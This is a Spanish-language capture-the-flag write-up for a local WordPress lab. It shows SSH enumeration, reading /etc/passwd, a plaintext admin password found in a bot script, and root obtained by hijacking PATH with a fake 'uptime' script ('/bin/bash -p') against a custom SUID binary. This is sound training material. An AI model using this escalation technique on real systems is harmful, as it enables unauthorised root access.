

Solución al lab **WORDPRESS** (nivel medio)

```
chifay@kali: ~/Whoami-Labs/WORDPRESS
Session Actions Edit View Help

W/H/O/A/M/I-L/A/B/S/.C/O/M/

Bienvenido a WHOAMI-LABS.COM.
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde wordpress.tar ...
[+] Imagen cargada exitosamente.

[*] Iniciando laboratorio ...
[*] Preparando laboratorio

[v] Laboratorio desplegado correctamente.

LAB: WORDPRESS
DIFICULTAD: **** medio (3 XP)

Acceso al entorno atacante:
ssh pentester@127.0.0.1 -p 2336
Password: wordpress

Ingresa la flag final (formato WORDPRESS{...}):
```

En este lab nos dan unas credenciales de acceso a ssh, por lo que vamos a usarlas para ver qué podemos hacer

```
pentester@wordpress: ~
Session Actions Edit View Help

chifay@kali: ~/Whoami-Labs/WORDPRESS pentester@wordpress: ~

(chifay@kali)-[~/Whoami-Labs/WORDPRESS]
$ ssh pentester@127.0.0.1 -p 2336
The authenticity of host '[127.0.0.1]:2336 ([127.0.0.1]:2336)' can't be established.
ED25519 key fingerprint is: SHA256:6yUnMjZkpkSf4omo0rwlS5TqRmj9oRWv/i6DTjTswPk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2336' (ED25519) to the list of known hosts.
pentester@127.0.0.1's password:
Linux wordpress 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pentester@wordpress:~$
```

Análisis de permisos

```
pentester@wordpress:~$ whoami
pentester
pentester@wordpress:~$ id
uid=1000(pentester) gid=1000(pentester) groups=1000(pentester)
pentester@wordpress:~$ sudo -l
[sudo] password for pentester:
Sorry, user pentester may not run sudo on wordpress.
pentester@wordpress:~$ pwd
/home/pentester
pentester@wordpress:~$ ls -al
total 20
drwxr-xr-x 2 pentester pentester 4096 Aug 11 06:56 .
drwxr-xr-x 1 root      root      4096 Aug 11 06:56 ..
-rw-r--r-- 1 pentester pentester 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 pentester pentester 3526 Mar 29 2024 .bashrc
-rw-r--r-- 1 pentester pentester 807 Mar 29 2024 .profile
pentester@wordpress:~$
```

Contenido de /etc/passwd

```
pentester@wordpress:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
mysql:x:100:101:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
pentester:x:1000:1000::/home/pentester:/bin/bash
```

Listar archivos en /

```
pentester@wordpress:~$ ls -al /
total 64
drwxr-xr-x  1 root root 4096 Aug 19 19:31 .
drwxr-xr-x  1 root root 4096 Aug 19 19:31 ..
-rwxr-xr-x  1 root root    0 Aug 19 19:31 .dockerenv
lrwxrwxrwx  1 root root    7 Apr  7  2025 bin -> usr/bin
drwxr-xr-x  2 root root 4096 Mar  7  2025 boot
drwxr-xr-x  5 root root 340 Aug 19 19:31 dev
drwxr-xr-x  1 root root 4096 Aug 19 19:31 etc
drwxr-xr-x  1 root root 4096 Aug 11 06:56 home
lrwxrwxrwx  1 root root    7 Apr  7  2025 lib -> usr/lib
lrwxrwxrwx  1 root root    9 Apr  7  2025 lib64 -> usr/lib64
drwxr-xr-x  2 root root 4096 Apr  7  2025 media
drwxr-xr-x  2 root root 4096 Apr  7  2025 mnt
drwxr-xr-x  2 root root 4096 Apr  7  2025 opt
dr-xr-xr-x 403 root root    0 Aug 19 19:31 proc
drwxr-xr-x  1 root root 4096 Aug 11 06:56 root
drwxr-xr-x  1 root root 4096 Aug 19 19:34 run
lrwxrwxrwx  1 root root    8 Apr  7  2025/sbin -> usr/sbin
drwxr-xr-x  2 root root 4096 Apr  7  2025 srv
dr-xr-xr-x 13 root root    0 Aug 19 19:31 sys
drwxrwxrwt  1 root root 4096 Aug 19 19:31 tmp
drwxr-xr-x  1 root root 4096 Apr  7  2025 usr
drwxr-xr-x  1 root root 4096 Apr  8  2025 var
```

Listar archivos en /tmp

```
pentester@wordpress:~$ ls -al /tmp/
total 8
drwxrwxrwt 1 root root 4096 Aug 19 19:31 .
drwxr-xr-x 1 root root 4096 Aug 19 19:31 ..
```

Listar archivos en /opt

```
pentester@wordpress:~$ ls -al /opt/
total 8
drwxr-xr-x 2 root root 4096 Apr  7  2025 .
drwxr-xr-x 1 root root 4096 Aug 19 19:31 ..
```

Procesos en ejecución

```
pentester@wordpress:~$ ps aux
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   2344  1440 ?        Ss   19:31   0:00 /sbin/sys-daemon
root        34  0.0  0.0   2592  1820 ?        S    19:31   0:00 /bin/sh /usr/bin/mysqld_safe
mysql     129  0.0  1.6 8591217624 134092 ?        Sl   19:31   0:00 /usr/sbin/mariadb --basedir=/usr --datadir=/var/lib/m
root       130  0.0  0.0   5960  2540 ?        S    19:31   0:00 logger -t mysqld -p daemon error
root       165  0.0  0.0      0      0 ?        Z    19:31   0:00 [debian-start] <defunct>
root       199  0.0  0.4 262720 37712 ?        Ss   19:31   0:00 /usr/sbin/apache2 -k start
www-data  202  0.0  0.2 262800 22896 ?        S    19:31   0:00 /usr/sbin/apache2 -k start
www-data  203  0.0  0.2 262800 22076 ?        S    19:31   0:00 /usr/sbin/apache2 -k start
www-data  204  0.0  0.2 262800 22108 ?        S    19:31   0:00 /usr/sbin/apache2 -k start
www-data  205  0.0  0.2 262800 22076 ?        S    19:31   0:00 /usr/sbin/apache2 -k start
www-data  206  0.0  0.2 262800 22108 ?        S    19:31   0:00 /usr/sbin/apache2 -k start
root      223  0.0  0.3 31932 26744 ?        S    19:31   0:00 python3 /usr/local/bin/bot.py
root      233  0.0  0.0  15460  4936 ?        Ss   19:31   0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root      234  0.0  0.1 15920 10376 ?        Ss   19:33   0:00 sshd: pentester [priv]
pentest+  240  0.0  0.0  16180  6604 ?        S    19:33   0:00 sshd: pentester@pts/0
pentest+  241  0.0  0.0   4204  3612 pts/0    Ss   19:33   0:00 -bash
pentest+  254  0.0  0.0   8116  4460 pts/0    R+   19:40   0:00 ps aux
pentester@wordpress:~$
```

Contenido script bot.py

```
pentester@wordpress:~$ cat /usr/local/bin/bot.py
import time
import requests

WORDPRESS_URL = "http://127.0.0.1/wp-login.php"

def run_bot():
    session = requests.Session()
    while True:
        try:
            res = session.get(WORDPRESS_URL, timeout=5)
            login_data = {
                "log": "admin",
                "pwd": "Wp_Lab_Admin_SuperSecure_Pass_2026!"
            }
            session.post(WORDPRESS_URL, data=login_data, timeout=5)
        except Exception:
            pass
        time.sleep(15)

if __name__ == "__main__":
    run_bot()
pentester@wordpress:~$
```

Permisos script bot.py

```
pentester@wordpress:~$ ls -la /usr/local/bin/bot.py
-rw-r--r-- 1 root root 521 Aug 11 06:45 /usr/local/bin/bot.py
pentester@wordpress:~$
```

Búsqueda de binarios SUID

```
pentester@wordpress:~$ find / -perm -4000 -type f -ls 2>/dev/null
830367 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn
830508 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd
830560 72 -rwsr-xr-x 1 root root 72000 Nov 21 2024 /usr/bin/su
830434 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd
830584 36 -rwsr-xr-x 1 root root 35128 Nov 21 2024 /usr/bin/umount
830492 60 -rwsr-xr-x 1 root root 59704 Nov 21 2024 /usr/bin/mount
830373 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
830497 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp
940064 276 -rwsr-xr-x 1 root root 281624 Apr 11 12:01 /usr/bin/sudo
940627 644 -rwsr-xr-x 1 root root 657984 May 5 10:26 /usr/lib/openssh/ssh-keysign
947481 16 -rwsr-xr-x 1 root root 16120 Aug 11 06:56 /usr/local/bin/wordpress-syscheck
pentester@wordpress:~$
```

[illegible]

1. `/usr/local/bin/wordpress-syscheck` - Es un binario SUID que ejecuta `uname -a` y `uptime` como root.
2. `bot.py` - Contiene credenciales de WordPress: `admin:Wp_Lab_Admin_SuperSecure_Pass_2026!`

Escalada con wordpress-syscheck (SUID)

El binario ejecuta `uname -a` y `uptime`. Podemos explotarlo creando un script malicioso en el PATH.

1. Crear un script uptime malicioso que ejecute /bin/bash

1.1 Crear un script que ejecute /bin/bash

```
pentester@wordpress:~$ echo '#!/bin/bash' > /tmp/uptime
pentester@wordpress:~$ echo '/bin/bash -p' >> /tmp/uptime
pentester@wordpress:~$ chmod +x /tmp/uptime
pentester@wordpress:~$
```

1.2 Añadir /tmp al PATH

```
pentester@wordpress:~$ export PATH=/tmp:$PATH
pentester@wordpress:~$
```

1.3 Ejecutar el binario SUID

```
pentester@wordpress:~$ /usr/local/bin/wordpress-syscheck
[*] WordPress Infrastructure Health Check v1.0.4
[*] Executing system diagnostics...
Linux wordpress 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux
root@wordpress:~#
```

Como podemos observar, al ejecutar el binario con SUID nos cambia el prompt y ya somo root, vamos a verificarlo y si es asi buscaremos la bandera

```
root@wordpress:~# whoami
root
root@wordpress:~# cd /root
root@wordpress:/root# ls
flag.txt
root@wordpress:/root# cat flag.txt
WORDPRESS{[REDACTED]}root@wordpress:/root#
```

Verificación de la bandera

```
chifay@kali: ~/Whoami-Labs/WORDPRESS
Session Actions Edit View Help
chifay@kali: ~/Whoami-Labs/WORDPRESS root@wordpress: /root
[+] Imagen cargada exitosamente.

[*] Iniciando laboratorio...
[*] Preparando laboratorio

[v] Laboratorio desplegado correctamente.

LAB: WORDPRESS
DIFICULTAD: ***** medio (3 XP)

Acceso al entorno atacante:
ssh pentester@127.0.0.1 -p 2336
Password: wordpress

Ingresa la flag final (formato WORDPRESS{...}): WORDPRESS{XXXXXXXXXXXXXXXXXXXX}

¡Felicitaciones! Has completado WORDPRESS.

TIEMPO TOTAL: 00h 38m 48s
FECHA Y HORA: 2026-08-19 14:10:11 -0600

[*] Presiona Ctrl+C para eliminar el laboratorio.
```